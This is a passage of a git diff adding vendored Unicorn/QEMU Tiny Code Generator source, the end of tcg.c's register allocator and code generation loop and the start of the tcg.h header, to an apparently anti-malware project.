(ts->fixed_reg && + tcg_regset_test_reg(arg_ct->u.regs, reg)) { + goto oarg_end; + } + reg = tcg_reg_alloc(s, arg_ct->u.regs, allocated_regs); + } + tcg_regset_set_reg(allocated_regs, reg); + /* if a fixed register is used, then a move will be done afterwards */ + if (!ts->fixed_reg) { + if (ts->val_type == TEMP_VAL_REG) { + s->reg_to_temp[ts->reg] = -1; + } + ts->val_type = TEMP_VAL_REG; + ts->reg = reg; + /* temp value is modified, so the value kept in memory is + potentially not the same */ + ts->mem_coherent = 0; + s->reg_to_temp[reg] = arg; + } + oarg_end: + new_args[i] = reg; + } + } + + /* emit instruction */ + tcg_out_op(s, opc, new_args, const_args); + + /* move the outputs in the correct register if needed */ + for(i = 0; i < nb_oargs; i++) { + ts = &s->temps[args[i]]; + reg = new_args[i]; + if (ts->fixed_reg && ts->reg != reg) { + tcg_out_mov(s, ts->type, ts->reg, reg); + } + if (NEED_SYNC_ARG(i)) { + tcg_reg_sync(s, reg); + } + if (IS_DEAD_ARG(i)) { + temp_dead(s, args[i]); + } + } +} + +#ifdef TCG_TARGET_STACK_GROWSUP +#define STACK_DIR(x) (-(x)) +#else +#define STACK_DIR(x) (x) +#endif + +static int tcg_reg_alloc_call(TCGContext *s, const TCGOpDef *def, + TCGOpcode opc, const TCGArg *args, + uint16_t dead_args, uint8_t sync_args) +{ + int nb_iargs, nb_oargs, flags, nb_regs, i, reg, nb_params; + TCGArg arg; + TCGTemp *ts; + intptr_t stack_offset; + size_t call_stack_size; + tcg_insn_unit *func_addr; + int allocate_args; + TCGRegSet allocated_regs; + + arg = *args++; + + nb_oargs = arg >> 16; + nb_iargs = arg & 0xffff; + nb_params = nb_iargs; + + func_addr = (tcg_insn_unit *)(intptr_t)args[nb_oargs + nb_iargs]; + flags = args[nb_oargs + nb_iargs + 1]; + + nb_regs = ARRAY_SIZE(tcg_target_call_iarg_regs); +#ifdef _UC_MSVC_ARRAY_DUMMY + // do this because msvc cannot have arrays with 0 entries. + /* ref: tcg/i386/tcg-target.c: tcg_target_call_iarg_regs, + it is added a dummy value, set back to 0. */ + nb_regs = 0; +#endif + if (nb_regs > nb_params) { + nb_regs = nb_params; + } + + /* assign stack slots first */ + call_stack_size = (nb_params - nb_regs) * sizeof(tcg_target_long); + call_stack_size = (call_stack_size + TCG_TARGET_STACK_ALIGN - 1) & + ~(TCG_TARGET_STACK_ALIGN - 1); + allocate_args = (call_stack_size > TCG_STATIC_CALL_ARGS_SIZE); + if (allocate_args) { + /* XXX: if more than TCG_STATIC_CALL_ARGS_SIZE is needed, + preallocate call stack */ + return -1; + } + + stack_offset = TCG_TARGET_CALL_STACK_OFFSET; + for(i = nb_regs; i < nb_params; i++) { + arg = args[nb_oargs + i]; +#ifdef TCG_TARGET_STACK_GROWSUP + stack_offset -= sizeof(tcg_target_long); +#endif + if (arg != TCG_CALL_DUMMY_ARG) { + ts = &s->temps[arg]; + if (ts->val_type == TEMP_VAL_REG) { + tcg_out_st(s, ts->type, ts->reg, TCG_REG_CALL_STACK, stack_offset); + } else if (ts->val_type == TEMP_VAL_MEM) { + reg = tcg_reg_alloc(s, (TCGRegSet)s->tcg_target_available_regs[ts->type], + s->reserved_regs); + /* XXX: not correct if reading values from the stack */ + tcg_out_ld(s, ts->type, reg, ts->mem_reg, ts->mem_offset); + tcg_out_st(s, ts->type, reg, TCG_REG_CALL_STACK, stack_offset); + } else if (ts->val_type == TEMP_VAL_CONST) { + reg = tcg_reg_alloc(s, (TCGRegSet)s->tcg_target_available_regs[ts->type], + s->reserved_regs); + /* XXX: sign extend may be needed on some targets */ + tcg_out_movi(s, ts->type, reg, ts->val); + tcg_out_st(s, ts->type, reg, TCG_REG_CALL_STACK, stack_offset); + } else { + return -1; + } + } +#ifndef TCG_TARGET_STACK_GROWSUP + stack_offset += sizeof(tcg_target_long); +#endif + } + + /* assign input registers */ + tcg_regset_set(allocated_regs, s->reserved_regs); + for(i = 0; i < nb_regs; i++) { + arg = args[nb_oargs + i]; + if (arg != TCG_CALL_DUMMY_ARG) { + ts = &s->temps[arg]; + reg = tcg_target_call_iarg_regs[i]; + tcg_reg_free(s, reg); + if (ts->val_type == TEMP_VAL_REG) { + if (ts->reg != reg) { + tcg_out_mov(s, ts->type, reg, ts->reg); + } + } else if (ts->val_type == TEMP_VAL_MEM) { + tcg_out_ld(s, ts->type, reg, ts->mem_reg, ts->mem_offset); + } else if (ts->val_type == TEMP_VAL_CONST) { + /* XXX: sign extend ? */ + tcg_out_movi(s, ts->type, reg, ts->val); + } else { + return -1; + } + tcg_regset_set_reg(allocated_regs, reg); + } + } + + /* mark dead temporaries and free the associated registers */ + for(i = nb_oargs; i < nb_iargs + nb_oargs; i++) { + if (IS_DEAD_ARG(i)) { + temp_dead(s, args[i]); + } + } + + /* clobber call registers */ + for(reg = 0; reg < TCG_TARGET_NB_REGS; reg++) { + if (tcg_regset_test_reg(s->tcg_target_call_clobber_regs, reg)) { + tcg_reg_free(s, reg); + } + } + + /* Save globals if they might be written by the helper, sync them if + they might be read. */ + if (flags & TCG_CALL_NO_READ_GLOBALS) { + /* Nothing to do */ + } else if (flags & TCG_CALL_NO_WRITE_GLOBALS) { + sync_globals(s, allocated_regs); + } else { + save_globals(s, allocated_regs); + } + + tcg_out_call(s, func_addr); + + /* assign output registers and emit moves if needed */ + for(i = 0; i < nb_oargs; i++) { + arg = args[i]; + ts = &s->temps[arg]; + reg = tcg_target_call_oarg_regs[i]; + assert(s->reg_to_temp[reg] == -1); + + if (ts->fixed_reg) { + if (ts->reg != reg) { + tcg_out_mov(s, ts->type, ts->reg, reg); + } + } else { + if (ts->val_type == TEMP_VAL_REG) { + s->reg_to_temp[ts->reg] = -1; + } + ts->val_type = TEMP_VAL_REG; + ts->reg = reg; + ts->mem_coherent = 0; + s->reg_to_temp[reg] = arg; + if (NEED_SYNC_ARG(i)) { + tcg_reg_sync(s, reg); + } + if (IS_DEAD_ARG(i)) { + temp_dead(s, args[i]); + } + } + } + + return nb_iargs + nb_oargs + def->nb_cargs + 1; +} + +#ifdef CONFIG_PROFILER + +static void dump_op_count(void) +{ + int i; + + for(i = INDEX_op_end; i < NB_OPS; i++) { + qemu_log("%s %" PRId64 "\n", s->tcg_op_defs[i].name, tcg_table_op_count[i]); + } +} +#endif + + +static inline int tcg_gen_code_common(TCGContext *s, + tcg_insn_unit *gen_code_buf, + long search_pc) +{ + TCGOpcode opc; + int op_index; + const TCGOpDef *def; + const TCGArg *args; + int ret; + +#ifdef DEBUG_DISAS + if (unlikely(qemu_loglevel_mask(CPU_LOG_TB_OP))) { + qemu_log("OP:\n"); + tcg_dump_ops(s); + qemu_log("\n"); + } +#endif + +#ifdef CONFIG_PROFILER + s->opt_time -= profile_getclock(); +#endif + +#ifdef USE_TCG_OPTIMIZATIONS + s->gen_opparam_ptr = + tcg_optimize(s, s->gen_opc_ptr, s->gen_opparam_buf, s->tcg_op_defs); + if (s->gen_opparam_ptr == NULL) { + tcg_out_tb_finalize(s); + return -2; + } +#endif + +#ifdef CONFIG_PROFILER + s->opt_time += profile_getclock(); + s->la_time -= profile_getclock(); +#endif + + tcg_liveness_analysis(s); + +#ifdef CONFIG_PROFILER + s->la_time += profile_getclock(); +#endif + +#ifdef DEBUG_DISAS + if (unlikely(qemu_loglevel_mask(CPU_LOG_TB_OP_OPT))) { + qemu_log("OP after optimization and liveness analysis:\n"); + tcg_dump_ops(s); + qemu_log("\n"); + } +#endif + + tcg_reg_alloc_start(s); + + s->code_buf = gen_code_buf; + s->code_ptr = gen_code_buf; + + tcg_out_tb_init(s); + + args = s->gen_opparam_buf; + op_index = 0; + + for(;;) { + opc = s->gen_opc_buf[op_index]; +#ifdef CONFIG_PROFILER + tcg_table_op_count[opc]++; +#endif + def = &s->tcg_op_defs[opc]; +#if 0 + printf("%s: %d %d %d\n", def->name, + def->nb_oargs, def->nb_iargs, def->nb_cargs); + // dump_regs(s); +#endif + switch(opc) { + case INDEX_op_mov_i32: + case INDEX_op_mov_i64: + tcg_reg_alloc_mov(s, def, args, s->op_dead_args[op_index], + s->op_sync_args[op_index]); + break; + case INDEX_op_movi_i32: + case INDEX_op_movi_i64: + tcg_reg_alloc_movi(s, args, s->op_dead_args[op_index], + s->op_sync_args[op_index]); + break; + case INDEX_op_debug_insn_start: + /* debug instruction */ + break; + case INDEX_op_nop: + case INDEX_op_nop1: + case INDEX_op_nop2: + case INDEX_op_nop3: + break; + case INDEX_op_nopn: + args += args[0]; + goto next; + case INDEX_op_discard: + temp_dead(s, args[0]); + break; + case INDEX_op_set_label: + tcg_reg_alloc_bb_end(s, s->reserved_regs); + tcg_out_label(s, args[0], s->code_ptr); + break; + case INDEX_op_call: + ret = tcg_reg_alloc_call(s, def, opc, args, + s->op_dead_args[op_index], + s->op_sync_args[op_index]); + if (ret == -1) { + goto the_end; + } else { + args += ret; + } + goto next; + case INDEX_op_end: + goto the_end; + default: + /* Sanity check that we've not introduced any unhandled opcodes. */ + if (def->flags & TCG_OPF_NOT_PRESENT) { + goto the_end; + } + /* Note: in order to speed up the code, it would be much + faster to have specialized register allocator functions for + some common argument patterns */ + tcg_reg_alloc_op(s, def, opc, args, s->op_dead_args[op_index], + s->op_sync_args[op_index]); + break; + } + args += def->nb_args; + next: + if (search_pc >= 0 && (size_t)search_pc < tcg_current_code_size(s)) { + return op_index; + } + op_index++; +#ifndef NDEBUG + check_regs(s); +#endif + } + the_end: + /* Generate TB finalization at the end of block */ + tcg_out_tb_finalize(s); + return -1; +} + +int tcg_gen_code(TCGContext *s, tcg_insn_unit *gen_code_buf) // qq +{ + int ret; +#ifdef CONFIG_PROFILER + { + int n; + n = (s->gen_opc_ptr - s->gen_opc_buf); + s->op_count += n; + if (n > s->op_count_max) + s->op_count_max = n; + + s->temp_count += s->nb_temps; + if (s->nb_temps > s->temp_count_max) + s->temp_count_max = s->nb_temps; + } +#endif + + //printf("====== before gen code\n"); + //tcg_dump_ops(s); + ret = tcg_gen_code_common(s, gen_code_buf, -1); // qq + if (ret == -2) { + return -1; + } + + //printf("====== after gen code\n"); + //tcg_dump_ops(s); + + /* flush instruction cache */ + flush_icache_range((uintptr_t)s->code_buf, (uintptr_t)s->code_ptr); + + return tcg_current_code_size(s); +} + +/* Return the index of the micro operation such as the pc after is < + offset bytes from the start of the TB. The contents of gen_code_buf must + not be changed, though writing the same values is ok. + Return -1 if not found. */ +int tcg_gen_code_search_pc(TCGContext *s, tcg_insn_unit *gen_code_buf, + long offset) +{ + return tcg_gen_code_common(s, gen_code_buf, offset); +} + +#ifdef CONFIG_PROFILER +void tcg_dump_info(FILE *f, fprintf_function cpu_fprintf) +{ +#if 0 + TCGContext *s = &tcg_ctx; + int64_t tot; + + tot = s->interm_time + s->code_time; + cpu_fprintf(f, "JIT cycles %" PRId64 " (%0.3f s at 2.4 GHz)\n", + tot, tot / 2.4e9); + cpu_fprintf(f, "translated TBs %" PRId64 " (aborted=%" PRId64 " %0.1f%%)\n", + s->tb_count, + s->tb_count1 - s->tb_count, + s->tb_count1 ? (double)(s->tb_count1 - s->tb_count) / s->tb_count1 * 100.0 : 0); + cpu_fprintf(f, "avg ops/TB %0.1f max=%d\n", + s->tb_count ? (double)s->op_count / s->tb_count : 0, s->op_count_max); + cpu_fprintf(f, "deleted ops/TB %0.2f\n", + s->tb_count ? + (double)s->del_op_count / s->tb_count : 0); + cpu_fprintf(f, "avg temps/TB %0.2f max=%d\n", + s->tb_count ? + (double)s->temp_count / s->tb_count : 0, + s->temp_count_max); + + cpu_fprintf(f, "cycles/op %0.1f\n", + s->op_count ? (double)tot / s->op_count : 0); + cpu_fprintf(f, "cycles/in byte %0.1f\n", + s->code_in_len ? (double)tot / s->code_in_len : 0); + cpu_fprintf(f, "cycles/out byte %0.1f\n", + s->code_out_len ? (double)tot / s->code_out_len : 0); + if (tot == 0) + tot = 1; + cpu_fprintf(f, " gen_interm time %0.1f%%\n", + (double)s->interm_time / tot * 100.0); + cpu_fprintf(f, " gen_code time %0.1f%%\n", + (double)s->code_time / tot * 100.0); + cpu_fprintf(f, "optim./code time %0.1f%%\n", + (double)s->opt_time / (s->code_time ? s->code_time : 1) + * 100.0); + cpu_fprintf(f, "liveness/code time %0.1f%%\n", + (double)s->la_time / (s->code_time ? s->code_time : 1) * 100.0); + cpu_fprintf(f, "cpu_restore count %" PRId64 "\n", + s->restore_count); + cpu_fprintf(f, " avg cycles %0.1f\n", + s->restore_count ? (double)s->restore_time / s->restore_count : 0); + + dump_op_count(); +#endif +} +#else +void tcg_dump_info(FILE *f, fprintf_function cpu_fprintf) +{ + cpu_fprintf(f, "[TCG profiler not compiled]\n"); +} +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg.h b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg.h new file mode 100644 index 0000000..54486e5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg.h @@ -0,0 +1,1012 @@ +/* + * Tiny Code Generator for QEMU + * + * Copyright (c) 2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#ifndef TCG_H +#define TCG_H + +#include "qemu-common.h" +#include "qemu/bitops.h" +#include "tcg-target.h" +#include "exec/exec-all.h" + +#include "uc_priv.h" + +/* Default target word size to pointer size. */ +#ifndef TCG_TARGET_REG_BITS +# if UINTPTR_MAX == UINT32_MAX +# define TCG_TARGET_REG_BITS 32 +# elif UINTPTR_MAX == UINT64_MAX +# define TCG_TARGET_REG_BITS 64 +# else +# error Unknown pointer size for tcg target +# endif +#endif + +#if TCG_TARGET_REG_BITS == 32 +typedef int32_t tcg_target_long; +typedef uint32_t tcg_target_ulong; +#define TCG_PRIlx PRIx32 +#define TCG_PRIld PRId32 +#elif TCG_TARGET_REG_BITS == 64 +typedef int64_t tcg_target_long; +typedef uint64_t tcg_target_ulong; +#define TCG_PRIlx PRIx64 +#define TCG_PRIld PRId64 +#else +#error unsupported +#endif + +#if TCG_TARGET_NB_REGS <= 32 +typedef uint32_t TCGRegSet; +#elif TCG_TARGET_NB_REGS <= 64 +typedef uint64_t TCGRegSet; +#else +#error unsupported +#endif + +#if TCG_TARGET_REG_BITS == 32 +/* Turn some undef macros into false macros. */ +#define TCG_TARGET_HAS_trunc_shr_i32 0 +#define TCG_TARGET_HAS_div_i64 0 +#define TCG_TARGET_HAS_rem_i64 0 +#define TCG_TARGET_HAS_div2_i64 0 +#define TCG_TARGET_HAS_rot_i64 0 +#define TCG_TARGET_HAS_ext8s_i64 0 +#define TCG_TARGET_HAS_ext16s_i64 0 +#define TCG_TARGET_HAS_ext32s_i64 0 +#define TCG_TARGET_HAS_ext8u_i64 0 +#define TCG_TARGET_HAS_ext16u_i64 0 +#define TCG_TARGET_HAS_ext32u_i64 0 +#define TCG_TARGET_HAS_bswap16_i64 0 +#define TCG_TARGET_HAS_bswap32_i64 0 +#define TCG_TARGET_HAS_bswap64_i64 0 +#define TCG_TARGET_HAS_neg_i64 0 +#define TCG_TARGET_HAS_not_i64 0 +#define TCG_TARGET_HAS_andc_i64 0 +#define TCG_TARGET_HAS_orc_i64 0 +#define TCG_TARGET_HAS_eqv_i64 0 +#define TCG_TARGET_HAS_nand_i64 0 +#define TCG_TARGET_HAS_nor_i64 0 +#define TCG_TARGET_HAS_deposit_i64 0 +#define TCG_TARGET_HAS_movcond_i64 0 +#define TCG_TARGET_HAS_add2_i64 0 +#define TCG_TARGET_HAS_sub2_i64 0 +#define TCG_TARGET_HAS_mulu2_i64 0 +#define TCG_TARGET_HAS_muls2_i64 0 +#define TCG_TARGET_HAS_muluh_i64 0 +#define TCG_TARGET_HAS_mulsh_i64 0 +/* Turn some undef macros into true macros. */ +#define TCG_TARGET_HAS_add2_i32 1 +#define TCG_TARGET_HAS_sub2_i32 1 +#endif + +#ifndef TCG_TARGET_deposit_i32_valid +#define TCG_TARGET_deposit_i32_valid(ofs, len) 1 +#endif +#ifndef TCG_TARGET_deposit_i64_valid +#define TCG_TARGET_deposit_i64_valid(ofs, len) 1 +#endif + +/* Only one of DIV or DIV2 should be defined. */ +#if defined(TCG_TARGET_HAS_div_i32) +#define TCG_TARGET_HAS_div2_i32 0 +#elif defined(TCG_TARGET_HAS_div2_i32) +#define TCG_TARGET_HAS_div_i32 0 +#define TCG_TARGET_HAS_rem_i32 0 +#endif +#if defined(TCG_TARGET_HAS_div_i64) +#define TCG_TARGET_HAS_div2_i64 0 +#elif defined(TCG_TARGET_HAS_div2_i64) +#define TCG_TARGET_HAS_div_i64 0 +#define TCG_TARGET_HAS_rem_i64 0 +#endif + +/* For 32-bit targets, some sort of unsigned widening multiply is required. */ +#if TCG_TARGET_REG_BITS == 32 \ + && !(defined(TCG_TARGET_HAS_mulu2_i32) \ + || defined(TCG_TARGET_HAS_muluh_i32)) +# error "Missing unsigned widening multiply" +#endif + +typedef enum TCGOpcode { +#define DEF(name, oargs, iargs, cargs, flags) INDEX_op_ ## name, +#include "tcg-opc.h" +#undef DEF + NB_OPS, +} TCGOpcode; + +#define tcg_regset_clear(d) (d) = 0 +#define tcg_regset_set(d, s) (d) = (s) +#define tcg_regset_set32(d, reg, val32) (d) |= (val32) << (reg) +#define tcg_regset_set_reg(d, r) (d) |= 1L << (r) +#define tcg_regset_reset_reg(d, r) (d) &= ~(1L << (r)) +#define tcg_regset_test_reg(d, r) (((d) >> (r)) & 1) +#define tcg_regset_or(d, a, b) (d) = (a) | (b) +#define tcg_regset_and(d, a, b) (d) = (a) & (b) +#define tcg_regset_andnot(d, a, b) (d) = (a) & ~(b) +#define tcg_regset_not(d, a) (d) = ~(a) + +#ifndef TCG_TARGET_INSN_UNIT_SIZE +# error "Missing TCG_TARGET_INSN_UNIT_SIZE" +#elif TCG_TARGET_INSN_UNIT_SIZE == 1 +typedef uint8_t tcg_insn_unit; +#elif TCG_TARGET_INSN_UNIT_SIZE == 2 +typedef uint16_t tcg_insn_unit; +#elif TCG_TARGET_INSN_UNIT_SIZE == 4 +typedef uint32_t tcg_insn_unit; +#elif TCG_TARGET_INSN_UNIT_SIZE == 8 +typedef uint64_t tcg_insn_unit; +#else +/* The port better have done this. */ +#endif + + +typedef struct TCGRelocation { + struct TCGRelocation *next; + int type; + tcg_insn_unit *ptr; + intptr_t addend; +} TCGRelocation; + +typedef struct TCGLabel { + int has_value; + union { + uintptr_t value; + tcg_insn_unit *value_ptr; + TCGRelocation *first_reloc; + } u; +} TCGLabel; + +typedef struct TCGPool { + struct TCGPool *next; + int size; + uint8_t QEMU_ALIGN(8, data[0]); +} TCGPool; + +#define TCG_POOL_CHUNK_SIZE 32768 + +#define TCG_MAX_LABELS 512 + +#define TCG_MAX_TEMPS 512 + +/* when the size of the arguments of a called function is smaller than + this value, they are statically allocated in the TB stack frame */ +#define TCG_STATIC_CALL_ARGS_SIZE 128 + +typedef enum TCGType { + TCG_TYPE_I32, + TCG_TYPE_I64, + TCG_TYPE_COUNT, /* number of different types */ + + /* An alias for the size of the host register. */ +#if TCG_TARGET_REG_BITS == 32 + TCG_TYPE_REG = TCG_TYPE_I32, +#else + TCG_TYPE_REG = TCG_TYPE_I64, +#endif + + /* An alias for the size of the native pointer. */ +#if UINTPTR_MAX == UINT32_MAX + TCG_TYPE_PTR = TCG_TYPE_I32, +#else + TCG_TYPE_PTR = TCG_TYPE_I64, +#endif + + /* An alias for the size of the target "long", aka register. */ +#if TARGET_LONG_BITS == 64 + TCG_TYPE_TL = TCG_TYPE_I64, +#else + TCG_TYPE_TL = TCG_TYPE_I32, +#endif +} TCGType; + +/* Constants for qemu_ld and qemu_st for the Memory Operation field. */ +typedef enum TCGMemOp { + MO_8 = 0, + MO_16 = 1, + MO_32 = 2, + MO_64 = 3, + MO_SIZE = 3, /* Mask for the above. */ + + MO_SIGN = 4, /* Sign-extended, otherwise zero-extended. */ + + MO_BSWAP = 8, /* Host reverse endian. */ +#ifdef HOST_WORDS_BIGENDIAN + MO_LE = MO_BSWAP, + MO_BE = 0, +#else + MO_LE = 0, + MO_BE = MO_BSWAP, +#endif +#ifdef TARGET_WORDS_BIGENDIAN + MO_TE = MO_BE, +#else + MO_TE = MO_LE, +#endif + + /* Combinations of the above, for ease of use. */ + MO_UB = MO_8, + MO_UW = MO_16, + MO_UL = MO_32, + MO_SB = MO_SIGN | MO_8, + MO_SW = MO_SIGN | MO_16, + MO_SL = MO_SIGN | MO_32, + MO_Q = MO_64, + + MO_LEUW = MO_LE | MO_UW, + MO_LEUL = MO_LE | MO_UL, + MO_LESW = MO_LE | MO_SW, + MO_LESL = MO_LE | MO_SL, + MO_LEQ = MO_LE | MO_Q, + + MO_BEUW = MO_BE | MO_UW, + MO_BEUL = MO_BE | MO_UL, + MO_BESW = MO_BE | MO_SW, + MO_BESL = MO_BE | MO_SL, + MO_BEQ = MO_BE | MO_Q, + + MO_TEUW = MO_TE | MO_UW, + MO_TEUL = MO_TE | MO_UL, + MO_TESW = MO_TE | MO_SW, + MO_TESL = MO_TE | MO_SL, + MO_TEQ = MO_TE | MO_Q, + + MO_SSIZE = MO_SIZE | MO_SIGN, +} TCGMemOp; + +typedef tcg_target_ulong TCGArg; + +/* Define a type and accessor macros for variables. Using pointer types + is nice because it gives some level of type safely. Converting to and + from intptr_t rather than int reduces the number of sign-extension + instructions that get implied on 64-bit hosts. Users of tcg_gen_* don't + need to know about any of this, and should treat TCGv as an opaque type. + In addition we do typechecking for different types of variables. TCGv_i32 + and TCGv_i64 are 32/64-bit variables respectively. TCGv and TCGv_ptr + are aliases for target_ulong and host pointer sized values respectively. */ + +typedef struct TCGv_i32_d *TCGv_i32; +typedef struct TCGv_i64_d *TCGv_i64; +typedef struct TCGv_ptr_d *TCGv_ptr; + +static inline TCGv_i32 QEMU_ARTIFICIAL MAKE_TCGV_I32(intptr_t i) +{ + return (TCGv_i32)i; +} + +static inline TCGv_i64 QEMU_ARTIFICIAL MAKE_TCGV_I64(intptr_t i) +{ + return (TCGv_i64)i; +} + +static inline TCGv_ptr QEMU_ARTIFICIAL MAKE_TCGV_PTR(intptr_t i) +{ + return (TCGv_ptr)i; +} + +static inline intptr_t QEMU_ARTIFICIAL GET_TCGV_I32(TCGv_i32 t) +{ + return (intptr_t)t; +} + +static inline intptr_t QEMU_ARTIFICIAL GET_TCGV_I64(TCGv_i64 t) +{ + return (intptr_t)t; +} + +static inline intptr_t QEMU_ARTIFICIAL GET_TCGV_PTR(TCGv_ptr t) +{ + return (intptr_t)t; +} + +#if TCG_TARGET_REG_BITS == 32 +#define TCGV_LOW(t) MAKE_TCGV_I32(GET_TCGV_I64(t)) +#define TCGV_HIGH(t) MAKE_TCGV_I32(GET_TCGV_I64(t) + 1) +#endif + +#define TCGV_EQUAL_I32(a, b) (GET_TCGV_I32(a) == GET_TCGV_I32(b)) +#define TCGV_EQUAL_I64(a, b) (GET_TCGV_I64(a) == GET_TCGV_I64(b)) +#define TCGV_EQUAL_PTR(a, b) (GET_TCGV_PTR(a) == GET_TCGV_PTR(b)) + +/* Dummy definition to avoid compiler warnings. */ +#define TCGV_UNUSED_I32(x) x = MAKE_TCGV_I32(-1) +#define TCGV_UNUSED_I64(x) x = MAKE_TCGV_I64(-1) +#define TCGV_UNUSED_PTR(x) x = MAKE_TCGV_PTR(-1) + +#define TCGV_IS_UNUSED_I32(x) (GET_TCGV_I32(x) == -1) +#define TCGV_IS_UNUSED_I64(x) (GET_TCGV_I64(x) == -1) +#define TCGV_IS_UNUSED_PTR(x) (GET_TCGV_PTR(x) == -1) + +/* call flags */ +/* Helper does not read globals (either directly or through an exception). It + implies TCG_CALL_NO_WRITE_GLOBALS. */ +#define TCG_CALL_NO_READ_GLOBALS 0x0010 +/* Helper does not write globals */ +#define TCG_CALL_NO_WRITE_GLOBALS 0x0020 +/* Helper can be safely suppressed if the return value is not used. */ +#define TCG_CALL_NO_SIDE_EFFECTS 0x0040 + +/* convenience version of most used call flags */ +#define TCG_CALL_NO_RWG TCG_CALL_NO_READ_GLOBALS +#define TCG_CALL_NO_WG TCG_CALL_NO_WRITE_GLOBALS +#define TCG_CALL_NO_SE TCG_CALL_NO_SIDE_EFFECTS +#define TCG_CALL_NO_RWG_SE (TCG_CALL_NO_RWG | TCG_CALL_NO_SE) +#define TCG_CALL_NO_WG_SE (TCG_CALL_NO_WG | TCG_CALL_NO_SE) + +/* used to align parameters */ +#define TCG_CALL_DUMMY_TCGV MAKE_TCGV_I32(-1) +#define TCG_CALL_DUMMY_ARG ((TCGArg)(-1)) + +/* Conditions. Note that these are laid out for easy manipulation by + the functions below: + bit 0 is used for inverting; + bit 1 is signed, + bit 2 is unsigned, + bit 3 is used with bit 0 for swapping signed/unsigned. */ +typedef enum { + /* non-signed */ + TCG_COND_NEVER = 0 | 0 | 0 | 0, + TCG_COND_ALWAYS = 0 | 0 | 0 | 1, + TCG_COND_EQ = 8 | 0 | 0 | 0, + TCG_COND_NE = 8 | 0 | 0 | 1, + /* signed */ + TCG_COND_LT = 0 | 0 | 2 | 0, + TCG_COND_GE = 0 | 0 | 2 | 1, + TCG_COND_LE = 8 | 0 | 2 | 0, + TCG_COND_GT = 8 | 0 | 2 | 1, + /* unsigned */ + TCG_COND_LTU = 0 | 4 | 0 | 0, + TCG_COND_GEU = 0 | 4 | 0 | 1, + TCG_COND_LEU = 8 | 4 | 0 | 0, + TCG_COND_GTU = 8 | 4 | 0 | 1, +} TCGCond; + +/* Invert the sense of the comparison. */ +static inline TCGCond tcg_invert_cond(TCGCond c) +{ + return (TCGCond)(c ^ 1); +} + +/* Swap the operands in a comparison. */ +static inline TCGCond tcg_swap_cond(TCGCond c) +{ + return c & 6 ? (TCGCond)(c ^ 9) : c; +} + +/* Create an "unsigned" version of a "signed" comparison. */ +static inline TCGCond tcg_unsigned_cond(TCGCond c) +{ + return c & 2 ? (TCGCond)(c ^ 6) : c; +} + +/* Must a comparison be considered unsigned? */ +static inline bool is_unsigned_cond(TCGCond c) +{ + return (c & 4) != 0; +} + +/* Create a "high" version of a double-word comparison. + This removes equality from a LTE or GTE comparison. */ +static inline TCGCond tcg_high_cond(TCGCond c) +{ + switch (c) { + case TCG_COND_GE: + case TCG_COND_LE: + case TCG_COND_GEU: + case TCG_COND_LEU: + return (TCGCond)(c ^ 8); + default: + return c; + } +} + +#define TEMP_VAL_DEAD 0 +#define TEMP_VAL_REG 1 +#define TEMP_VAL_MEM 2 +#define TEMP_VAL_CONST 3 + +/* XXX: optimize memory layout */ +typedef struct TCGTemp { + TCGType base_type; + TCGType type; + int val_type; + int reg; + tcg_target_long val; + int mem_reg; + intptr_t mem_offset; + unsigned int fixed_reg:1; + unsigned int mem_coherent:1; + unsigned int mem_allocated:1; + unsigned int temp_local:1; /* If true, the temp is saved across + basic blocks. Otherwise, it is not + preserved across basic blocks. */ + unsigned int temp_allocated:1; /* never used for code gen */ + const char *name; +} TCGTemp; + +typedef struct TCGContext TCGContext; + +typedef struct TCGTempSet { + unsigned long l[BITS_TO_LONGS(TCG_MAX_TEMPS)]; +} TCGTempSet; + + +/* pool based memory allocation */ + +void *tcg_malloc_internal(TCGContext *s, int size); +void tcg_pool_reset(TCGContext *s); +void tcg_pool_delete(TCGContext *s); + +void tcg_context_init(TCGContext *s); +void tcg_context_free(void *s); // free memory allocated for @s +void tcg_prologue_init(TCGContext *s); +void tcg_func_start(TCGContext *s); + +int tcg_gen_code(TCGContext *s, tcg_insn_unit *gen_code_buf); +int tcg_gen_code_search_pc(TCGContext *s, tcg_insn_unit *gen_code_buf, + long offset); + +void tcg_set_frame(TCGContext *s, int reg, intptr_t start, intptr_t size); + +TCGv_i32 tcg_global_reg_new_i32(TCGContext *s, int reg, const char *name); +TCGv_i32 tcg_global_mem_new_i32(TCGContext *s, int reg, intptr_t offset, const char *name); +TCGv_i32 tcg_temp_new_internal_i32(TCGContext *s, int temp_local); +static inline TCGv_i32 tcg_temp_new_i32(TCGContext *s) +{ + return tcg_temp_new_internal_i32(s, 0); +} +static inline TCGv_i32 tcg_temp_local_new_i32(TCGContext *s) +{ + return tcg_temp_new_internal_i32(s, 1); +} +void tcg_temp_free_i32(TCGContext *s, TCGv_i32 arg); +char *tcg_get_arg_str_i32(TCGContext *s, char *buf, int buf_size, TCGv_i32 arg); + +TCGv_i64 tcg_global_reg_new_i64(TCGContext *s, int reg, const char *name); +TCGv_i64 tcg_global_mem_new_i64(TCGContext *s, int reg, intptr_t offset, const char *name); +TCGv_i64 tcg_temp_new_internal_i64(TCGContext *s, int temp_local); +static inline TCGv_i64 tcg_temp_new_i64(TCGContext *s) +{ + return tcg_temp_new_internal_i64(s, 0); +} +static inline TCGv_i64 tcg_temp_local_new_i64(TCGContext *s) +{ + return tcg_temp_new_internal_i64(s, 1); +} +void 